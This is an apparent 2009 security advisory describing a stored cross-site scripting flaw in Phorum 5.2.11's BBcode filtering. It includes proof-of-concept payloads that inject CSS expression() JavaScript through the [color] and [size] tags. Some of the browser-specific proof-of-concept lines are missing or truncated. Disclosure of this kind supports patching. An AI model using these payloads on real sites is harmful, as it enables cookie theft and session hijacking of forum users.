Phorum : Permanent Cross-Site Scripting Vulnerabilities Jul 22 2009 07:29PM
crashfr sysdream com
//----- Advisory

Program : Phorum 5.2.11

Homepage : http://www.phorum.org/

Discovery : 2009/07/16

Author Contacted : 2009/07/17

Found by : crashfr at sysdream dot com

This Advisory : crashfr at sysdream dot com

//----- Application description

Started in 1998, Phorum was the original PHP and MySQL based Open Source

forum software. Phorum's developers pride themselves on creating message

board software that is designed to meet different needs of different web

sites while not sacrificing performance or features.

//----- Description of vulnerability

Phorum's filtering engine insufficiently filters some BBcode arguments.

Using the bbcode tags [color] and [size] it is possible to execute Javascript

using expression CSS property.

//----- Proof Of Concept

When the user post the following bbcode :

[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]


[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]

The application convert it into the follow HTML code :

<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>


<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>

For IE6 you can use this POC:


Testing IE6[/color]

For IE7:

[color=#000000;xss:expression(alert('Sysdream_IE7_Alert'));]Sysdream Testing


Obviously, the POC doesn't work in IE8 and Firefox.

But, but , but...

Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My

Files" function in "Control Center", you can use :

POC for FF:


Testing FF[/color]

POC for IE8:


Testing FF[/color]

//----- Impact

This vulnerability can be used to modify the phorum display, to gather the victim's cookie, etc.

//----- Solution

Upgrade Phorum to 5.2.12

//----- Credits



crashfr at sysdream dot com

//----- Greetings


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